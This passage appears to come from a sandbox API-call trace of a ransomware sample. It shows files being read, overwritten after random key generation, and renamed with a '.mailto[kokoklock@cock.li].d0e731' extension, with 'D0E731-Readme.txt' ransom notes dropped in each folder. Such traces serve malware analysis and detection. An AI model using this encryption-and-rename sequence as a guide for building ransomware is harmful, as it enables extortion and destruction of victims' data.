Seed=0xc5afa28 | out: Seed=0xc5afa28) returned 0x3ab82645 [0070.723] RtlRandom (in: Seed=0xc5afa28 | out: Seed=0xc5afa28) returned 0x1ee56f33 [0070.723] RtlRandom (in: Seed=0xc5afa28 | out: Seed=0xc5afa28) returned 0xb827cddc [0070.723] RtlRandom (in: Seed=0xc5afa28 | out: Seed=0xc5afa28) returned 0xee0e79dd [0070.723] RtlRandom (in: Seed=0xc5afa28 | out: Seed=0xc5afa28) returned 0x55e7ee09 [0070.723] RtlRandom (in: Seed=0xc5afa28 | out: Seed=0xc5afa28) returned 0xeffff8c2 [0070.723] RtlRandom (in: Seed=0xc5afa28 | out: Seed=0xc5afa28) returned 0x73d100c1 [0070.723] RtlRandom (in: Seed=0xc5afa28 | out: Seed=0xc5afa28) returned 0xd9965e11 [0070.723] RtlRandom (in: Seed=0xc5afa28 | out: Seed=0xc5afa28) returned 0xaa4dd2f [0070.723] RtlRandom (in: Seed=0xc5afa28 | out: Seed=0xc5afa28) returned 0xdf6ca8eb [0070.723] RtlRandom (in: Seed=0xc5afa28 | out: Seed=0xc5afa28) returned 0x9ee922e1 [0070.723] RtlRandom (in: Seed=0xc5afa28 | out: Seed=0xc5afa28) returned 0x9c48f072 [0070.723] RtlRandom (in: Seed=0xc5afa28 | out: Seed=0xc5afa28) returned 0xa08354ea [0070.734] SetFilePointerEx (in: hFile=0x788, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.734] ReadFile (in: hFile=0x788, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xc5af9f4, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xc5af9f4*=0x4096, lpOverlapped=0x0) returned 1 [0070.735] SetFilePointerEx (in: hFile=0x788, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.735] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd088 [0070.735] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479ad8 [0070.735] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422d98 [0070.735] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422d98) returned 1 [0070.735] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e228 [0070.735] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422e10 [0070.735] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422bb8 [0070.736] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422bb8) returned 1 [0070.736] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479ad8) returned 1 [0070.736] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd088) returned 1 [0070.736] WriteFile (in: hFile=0x788, lpBuffer=0x348e228*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xc5af9f4, lpOverlapped=0x0 | out: lpBuffer=0x348e228*, lpNumberOfBytesWritten=0xc5af9f4*=0x4096, lpOverlapped=0x0) returned 1 [0070.736] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e228) returned 1 [0070.736] SetFilePointerEx (in: hFile=0x788, liDistanceToMove=0x1510c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.736] WriteFile (in: hFile=0x788, lpBuffer=0x3422e10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xc5afa2c, lpOverlapped=0x0 | out: lpBuffer=0x3422e10*, lpNumberOfBytesWritten=0xc5afa2c*=0x20, lpOverlapped=0x0) returned 1 [0070.736] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e10) returned 1 [0070.736] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0070.736] WriteFile (in: hFile=0x788, lpBuffer=0x3422fa0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xc5afa40, lpOverlapped=0x0 | out: lpBuffer=0x3422fa0*, lpNumberOfBytesWritten=0xc5afa40*=0x8, lpOverlapped=0x0) returned 1 [0070.736] WriteFile (in: hFile=0x788, lpBuffer=0xc5afa58*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc5afa40, lpOverlapped=0x0 | out: lpBuffer=0xc5afa58*, lpNumberOfBytesWritten=0xc5afa40*=0x4, lpOverlapped=0x0) returned 1 [0070.736] WriteFile (in: hFile=0x788, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc5afa40, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xc5afa40*=0x4, lpOverlapped=0x0) returned 1 [0070.736] WriteFile (in: hFile=0x788, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xc5afa40, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xc5afa40*=0x6c, lpOverlapped=0x0) returned 1 [0070.736] WriteFile (in: hFile=0x788, lpBuffer=0x3422e60*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xc5afa40, lpOverlapped=0x0 | out: lpBuffer=0x3422e60*, lpNumberOfBytesWritten=0xc5afa40*=0x20, lpOverlapped=0x0) returned 1 [0070.736] WriteFile (in: hFile=0x788, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc5afa40, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xc5afa40*=0x4, lpOverlapped=0x0) returned 1 [0070.737] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e60) returned 1 [0070.737] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422dc0) returned 1 [0070.737] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422fa0) returned 1 [0070.737] CloseHandle (hObject=0x788) returned 1 [0070.740] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9c) returned 0x33e6918 [0070.740] wcscpy (in: _Dest=0x33e6918, _Source="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" [0070.740] wcscat (in: _Dest=0x33e6918, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0070.740] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0070.740] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0070.741] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e6918) returned 1 [0070.741] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml", dwFileAttributes=0x80) returned 0 [0070.741] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x3427750 [0070.741] wcscpy (in: _Dest=0x3427750, _Source="C:\\588bce7c90097ed212\\1032\\" | out: _Dest="C:\\588bce7c90097ed212\\1032\\") returned="C:\\588bce7c90097ed212\\1032\\" [0070.741] wcscat (in: _Dest=0x3427750, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1032\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1032\\D0E731-Readme.txt" [0070.741] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1032\\d0e731-readme.txt")) returned 0xffffffff [0070.741] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1032\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x788 [0070.747] WriteFile (in: hFile=0x788, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0xc5afa3c, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0xc5afa3c*=0x481, lpOverlapped=0x0) returned 1 [0070.748] CloseHandle (hObject=0x788) returned 1 [0070.748] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427750) returned 1 [0070.748] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427208) returned 1 [0070.748] RtlExitUserThread (Status=0x1) Thread: id = 244 os_tid = 0x1248 [0063.496] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf")) returned 0x80 [0066.376] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf", dwFileAttributes=0x20) returned 1 [0068.825] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x704 [0068.826] GetFileSizeEx (in: hFile=0x704, lpFileSize=0xc62f8e0 | out: lpFileSize=0xc62f8e0*=3188) returned 1 [0068.826] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0xc70, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.826] ReadFile (in: hFile=0x704, lpBuffer=0xc62f8b4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xc62f8b0, lpOverlapped=0x0 | out: lpBuffer=0xc62f8b4*, lpNumberOfBytesRead=0xc62f8b0*=0x4, lpOverlapped=0x0) returned 1 [0068.827] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.827] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423e20 [0068.827] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3424028 [0068.827] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34240c8 [0068.827] NtQuerySystemTime (in: CurrentTime=0xc62f88c | out: CurrentTime=0xc62f88c*=132121176267128895) returned 0x0 [0068.827] RtlRandom (in: Seed=0xc62f898 | out: Seed=0xc62f898) returned 0x602b03c4 [0068.827] RtlRandom (in: Seed=0xc62f898 | out: Seed=0xc62f898) returned 0x9778bbd7 [0068.827] RtlRandom (in: Seed=0xc62f898 | out: Seed=0xc62f898) returned 0x56b70f10 [0068.827] RtlRandom (in: Seed=0xc62f898 | out: Seed=0xc62f898) returned 0xb79991f7 [0068.827] RtlRandom (in: Seed=0xc62f898 | out: Seed=0xc62f898) returned 0x1539692e [0068.827] RtlRandom (in: Seed=0xc62f898 | out: Seed=0xc62f898) returned 0x65390af2 [0068.827] RtlRandom (in: Seed=0xc62f898 | out: Seed=0xc62f898) returned 0xce3885c [0068.827] RtlRandom (in: Seed=0xc62f898 | out: Seed=0xc62f898) returned 0xad54b5bf [0068.827] RtlRandom (in: Seed=0xc62f898 | out: Seed=0xc62f898) returned 0x51b84c49 [0068.827] RtlRandom (in: Seed=0xc62f898 | out: Seed=0xc62f898) returned 0x80f55a90 [0068.827] RtlRandom (in: Seed=0xc62f898 | out: Seed=0xc62f898) returned 0xbeece7d [0068.827] RtlRandom (in: Seed=0xc62f898 | out: Seed=0xc62f898) returned 0x2c2f24a8 [0068.827] RtlRandom (in: Seed=0xc62f898 | out: Seed=0xc62f898) returned 0x4b9f1637 [0068.828] RtlRandom (in: Seed=0xc62f898 | out: Seed=0xc62f898) returned 0xd7c01849 [0068.828] RtlRandom (in: Seed=0xc62f898 | out: Seed=0xc62f898) returned 0xeef0c709 [0068.828] RtlRandom (in: Seed=0xc62f898 | out: Seed=0xc62f898) returned 0xf26ef689 [0068.828] RtlRandom (in: Seed=0xc62f898 | out: Seed=0xc62f898) returned 0x43fdaa7a [0068.828] RtlRandom (in: Seed=0xc62f898 | out: Seed=0xc62f898) returned 0xf88c0737 [0068.828] RtlRandom (in: Seed=0xc62f898 | out: Seed=0xc62f898) returned 0x1e70d4d1 [0068.828] RtlRandom (in: Seed=0xc62f898 | out: Seed=0xc62f898) returned 0xf2948953 [0068.828] RtlRandom (in: Seed=0xc62f898 | out: Seed=0xc62f898) returned 0xc41ec006 [0068.828] RtlRandom (in: Seed=0xc62f898 | out: Seed=0xc62f898) returned 0x20c5296b [0068.828] RtlRandom (in: Seed=0xc62f898 | out: Seed=0xc62f898) returned 0x66e068a1 [0068.828] RtlRandom (in: Seed=0xc62f898 | out: Seed=0xc62f898) returned 0xdebda50d [0068.828] RtlRandom (in: Seed=0xc62f898 | out: Seed=0xc62f898) returned 0x474771f5 [0068.828] RtlRandom (in: Seed=0xc62f898 | out: Seed=0xc62f898) returned 0xad0b80c2 [0068.828] RtlRandom (in: Seed=0xc62f898 | out: Seed=0xc62f898) returned 0xa3c57c3c [0068.828] RtlRandom (in: Seed=0xc62f898 | out: Seed=0xc62f898) returned 0xfa172c24 [0068.828] RtlRandom (in: Seed=0xc62f898 | out: Seed=0xc62f898) returned 0xf295ff49 [0068.828] RtlRandom (in: Seed=0xc62f898 | out: Seed=0xc62f898) returned 0xac0be0c9 [0068.828] RtlRandom (in: Seed=0xc62f898 | out: Seed=0xc62f898) returned 0xf115145 [0068.828] RtlRandom (in: Seed=0xc62f898 | out: Seed=0xc62f898) returned 0xa31f0e2c [0068.838] ReadFile (in: hFile=0x704, lpBuffer=0x3475830, nNumberOfBytesToRead=0xc74, lpNumberOfBytesRead=0xc62f88c, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xc62f88c*=0xc74, lpOverlapped=0x0) returned 1 [0068.839] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xc62f854 | out: lpNewFilePointer=0x0) returned 1 [0068.839] WriteFile (in: hFile=0x704, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0xc74, lpNumberOfBytesWritten=0xc62f888, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0xc62f888*=0xc74, lpOverlapped=0x0) returned 1 [0068.839] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423e20 [0068.839] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423e70 [0068.839] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423e70) returned 1 [0068.839] WriteFile (in: hFile=0x704, lpBuffer=0x3423e20*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xc62f884, lpOverlapped=0x0 | out: lpBuffer=0x3423e20*, lpNumberOfBytesWritten=0xc62f884*=0x20, lpOverlapped=0x0) returned 1 [0068.839] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423e20) returned 1 [0068.839] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0068.839] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0068.839] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479da8) returned 1 [0068.839] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fce00) returned 1 [0068.839] WriteFile (in: hFile=0x704, lpBuffer=0x3423e98*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xc62f8b0, lpOverlapped=0x0 | out: lpBuffer=0x3423e98*, lpNumberOfBytesWritten=0xc62f8b0*=0x8, lpOverlapped=0x0) returned 1 [0068.839] WriteFile (in: hFile=0x704, lpBuffer=0xc62f8c8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc62f8b0, lpOverlapped=0x0 | out: lpBuffer=0xc62f8c8*, lpNumberOfBytesWritten=0xc62f8b0*=0x4, lpOverlapped=0x0) returned 1 [0068.839] WriteFile (in: hFile=0x704, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc62f8b0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xc62f8b0*=0x4, lpOverlapped=0x0) returned 1 [0068.839] WriteFile (in: hFile=0x704, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xc62f8b0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xc62f8b0*=0x6c, lpOverlapped=0x0) returned 1 [0068.839] WriteFile (in: hFile=0x704, lpBuffer=0x3424028*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xc62f8b0, lpOverlapped=0x0 | out: lpBuffer=0x3424028*, lpNumberOfBytesWritten=0xc62f8b0*=0x20, lpOverlapped=0x0) returned 1 [0068.840] WriteFile (in: hFile=0x704, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc62f8b0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xc62f8b0*=0x4, lpOverlapped=0x0) returned 1 [0068.840] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3424028) returned 1 [0068.840] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423e48) returned 1 [0068.840] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423e98) returned 1 [0068.840] CloseHandle (hObject=0x704) returned 1 [0070.718] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x347bca0 [0070.718] wcscpy (in: _Dest=0x347bca0, _Source="C:\\588bce7c90097ed212\\1033\\eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned="C:\\588bce7c90097ed212\\1033\\eula.rtf" [0070.718] wcscat (in: _Dest=0x347bca0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1033\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1033\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0070.718] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf.mailto[kokoklock@cock.li].d0e731")) returned 1 [0070.719] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0070.719] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347bca0) returned 1 [0070.719] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf", dwFileAttributes=0x80) returned 0 [0070.719] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x3427750 [0070.719] wcscpy (in: _Dest=0x3427750, _Source="C:\\588bce7c90097ed212\\1033\\" | out: _Dest="C:\\588bce7c90097ed212\\1033\\") returned="C:\\588bce7c90097ed212\\1033\\" [0070.719] wcscat (in: _Dest=0x3427750, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1033\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1033\\D0E731-Readme.txt" [0070.719] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1033\\d0e731-readme.txt")) returned 0x20 [0070.720] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427750) returned 1 [0070.720] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fa918) returned 1 [0070.720] RtlExitUserThread (Status=0x1) Thread: id = 245 os_tid = 0x124c [0063.497] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml")) returned 0x80 [0064.576] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml", dwFileAttributes=0x20) returned 1 [0070.694] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x784 [0070.694] GetFileSizeEx (in: hFile=0x784, lpFileSize=0xc6afcb4 | out: lpFileSize=0xc6afcb4*=77232) returned 1 [0070.694] SetFilePointerEx (in: hFile=0x784, liDistanceToMove=0x12dac, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.694] ReadFile (in: hFile=0x784, lpBuffer=0xc6afc88, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xc6afc84, lpOverlapped=0x0 | out: lpBuffer=0xc6afc88*, lpNumberOfBytesRead=0xc6afc84*=0x4, lpOverlapped=0x0) returned 1 [0070.695] SetFilePointerEx (in: hFile=0x784, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.695] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422fa0 [0070.695] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422cd0 [0070.695] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422d70 [0070.695] NtQuerySystemTime (in: CurrentTime=0xc6afc60 | out: CurrentTime=0xc6afc60*=132121176285878854) returned 0x0 [0070.695] RtlRandom (in: Seed=0xc6afc6c | out: Seed=0xc6afc6c) returned 0x5a35ff60 [0070.695] RtlRandom (in: Seed=0xc6afc6c | out: Seed=0xc6afc6c) returned 0xb65f4d1d [0070.695] RtlRandom (in: Seed=0xc6afc6c | out: Seed=0xc6afc6c) returned 0x796a2681 [0070.695] RtlRandom (in: Seed=0xc6afc6c | out: Seed=0xc6afc6c) returned 0x55c0febc [0070.695] RtlRandom (in: Seed=0xc6afc6c | out: Seed=0xc6afc6c) returned 0x4a237ab4 [0070.695] RtlRandom (in: Seed=0xc6afc6c | out: Seed=0xc6afc6c) returned 0x648ca5dd [0070.695] RtlRandom (in: Seed=0xc6afc6c | out: Seed=0xc6afc6c) returned 0x95f813e3 [0070.695] RtlRandom (in: Seed=0xc6afc6c | out: Seed=0xc6afc6c) returned 0xeecb62f8 [0070.695] RtlRandom (in: Seed=0xc6afc6c | out: Seed=0xc6afc6c) returned 0xfcbbba7 [0070.695] RtlRandom (in: Seed=0xc6afc6c | out: Seed=0xc6afc6c) returned 0x13636c2b [0070.695] RtlRandom (in: Seed=0xc6afc6c | out: Seed=0xc6afc6c) returned 0x5225b13d [0070.696] RtlRandom (in: Seed=0xc6afc6c | out: Seed=0xc6afc6c) returned 0x729f60e2 [0070.696] RtlRandom (in: Seed=0xc6afc6c | out: Seed=0xc6afc6c) returned 0xd68a54de [0070.696] RtlRandom (in: Seed=0xc6afc6c | out: Seed=0xc6afc6c) returned 0xebc73849 [0070.696] RtlRandom (in: Seed=0xc6afc6c | out: Seed=0xc6afc6c) returned 0x3b13706e [0070.696] RtlRandom (in: Seed=0xc6afc6c | out: Seed=0xc6afc6c) returned 0x92619df [0070.696] RtlRandom (in: Seed=0xc6afc6c | out: Seed=0xc6afc6c) returned 0x373e26d1 [0070.696] RtlRandom (in: Seed=0xc6afc6c | out: Seed=0xc6afc6c) returned 0xc8bc1e8d [0070.696] RtlRandom (in: Seed=0xc6afc6c | out: Seed=0xc6afc6c) returned 0xb9f87803 [0070.696] RtlRandom (in: Seed=0xc6afc6c | out: Seed=0xc6afc6c) returned 0x7a25d853 [0070.696] RtlRandom (in: Seed=0xc6afc6c | out: Seed=0xc6afc6c) returned 0xfe98e123 [0070.696] RtlRandom (in: Seed=0xc6afc6c | out: Seed=0xc6afc6c) returned 0x539c9db1 [0070.696] RtlRandom (in: Seed=0xc6afc6c | out: Seed=0xc6afc6c) returned 0x988513b4 [0070.696] RtlRandom (in: Seed=0xc6afc6c | out: Seed=0xc6afc6c) returned 0x9b12cf9b [0070.696] RtlRandom (in: Seed=0xc6afc6c | out: Seed=0xc6afc6c) returned 0x5b7b3f9e [0070.696] RtlRandom (in: Seed=0xc6afc6c | out: Seed=0xc6afc6c) returned 0xe6fdcc21 [0070.696] RtlRandom (in: Seed=0xc6afc6c | out: Seed=0xc6afc6c) returned 0xfa7bc503 [0070.696] RtlRandom (in: Seed=0xc6afc6c | out: Seed=0xc6afc6c) returned 0xf9f10ba7 [0070.696] RtlRandom (in: Seed=0xc6afc6c | out: Seed=0xc6afc6c) returned 0x17a0cadf [0070.696] RtlRandom (in: Seed=0xc6afc6c | out: Seed=0xc6afc6c) returned 0x898b4279 [0070.696] RtlRandom (in: Seed=0xc6afc6c | out: Seed=0xc6afc6c) returned 0x1b5de177 [0070.696] RtlRandom (in: Seed=0xc6afc6c | out: Seed=0xc6afc6c) returned 0x96bec4be [0070.708] SetFilePointerEx (in: hFile=0x784, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.708] ReadFile (in: hFile=0x784, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xc6afc38, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xc6afc38*=0x4096, lpOverlapped=0x0) returned 1 [0070.708] SetFilePointerEx (in: hFile=0x784, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.708] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd1f0 [0070.708] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f88 [0070.708] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422cf8 [0070.709] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422cf8) returned 1 [0070.709] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e228 [0070.709] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422c08 [0070.709] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422dc0 [0070.709] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422dc0) returned 1 [0070.709] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f88) returned 1 [0070.709] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0070.709] WriteFile (in: hFile=0x784, lpBuffer=0x348e228*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xc6afc38, lpOverlapped=0x0 | out: lpBuffer=0x348e228*, lpNumberOfBytesWritten=0xc6afc38*=0x4096, lpOverlapped=0x0) returned 1 [0070.710] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e228) returned 1 [0070.710] SetFilePointerEx (in: hFile=0x784, liDistanceToMove=0x12db0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.710] WriteFile (in: hFile=0x784, lpBuffer=0x3422c08*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xc6afc70, lpOverlapped=0x0 | out: lpBuffer=0x3422c08*, lpNumberOfBytesWritten=0xc6afc70*=0x20, lpOverlapped=0x0) returned 1 [0070.710] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422c08) 